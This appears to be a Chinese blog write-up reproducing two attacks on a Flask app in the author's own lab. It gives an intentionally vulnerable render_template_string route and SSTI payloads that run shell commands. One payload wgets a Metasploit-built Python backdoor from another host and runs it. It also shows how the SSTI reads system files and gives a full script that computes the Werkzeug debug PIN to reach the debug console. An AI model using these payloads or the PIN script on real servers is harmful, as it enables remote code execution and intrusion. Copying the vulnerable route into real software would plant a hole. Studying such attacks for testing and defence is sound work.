flask框架下的ssti+pin碼執(zhí)行命令

最近了解到關(guān)于flask框架的兩種利用方式,于是自己搭環(huán)境做一下復(fù)現(xiàn)。

模板注入

簡單的漏洞代碼;

@app.route('/evil')
#----------------------------------------------------------------------
def evil():
    code=request.args.get('evil')
    html='''<h3>%s</h3>'''%(code)
    return render_template_string(html)

這里使用 render_template_string()動態(tài)的渲染模板,代碼中的code是可控的,會和html拼接后直接帶入渲染,存在ssti漏洞。

可以輕易的構(gòu)造xss:

image.png

命令執(zhí)行

使用類似python沙箱逃逸的方法。:

http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}
image.png

可以結(jié)合metasploit反彈:
一:生成python馬:


image.png

二:ssti下載馬并執(zhí)行:

http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("wget http://192.168.8.110:5000/a.py -O b.py;python b.py").read()' )}}
image.png
image.png

pin碼執(zhí)行命令

使用條件,server開啟了debug模式,存在任意文件讀取漏洞。
開啟了debug的flask項(xiàng)目在啟動時會生成一個debug用的pin碼,可以執(zhí)行python指令。

image.png

而這個pin碼在知曉一些條件后,是可以計(jì)算出來的。
參考:https://xz.aliyun.com/t/2553#toc-2

還是使用之前的漏洞代碼,傳入錯誤的Python代碼,輕易觸發(fā)debug。


image.png

這里我們把之前的ssti當(dāng)任意文件讀取來用:
獲取用戶名(/etc/passwd):


image.png

通過報(bào)錯獲取文件路徑:
image.png

接著獲取mac地址(/sys/class/net/ens32/address我的目標(biāo)服務(wù)器是ens32,一般是eth0):


image.png

然后獲取/etc/machine-id:
image.png

之后就可以通過腳本計(jì)算了:
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/lib64/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '345051575547'# str(uuid.getnode()),  /sys/class/net/eth0/address
    '613cacd3857f425e9409e544dece08da', # get_machine_id(),/etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

計(jì)算出Pin碼:


image.png

可以看到計(jì)算出來的pin碼和之前debug顯示的是一致的。
接下來就可以利用執(zhí)行命令了:


image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容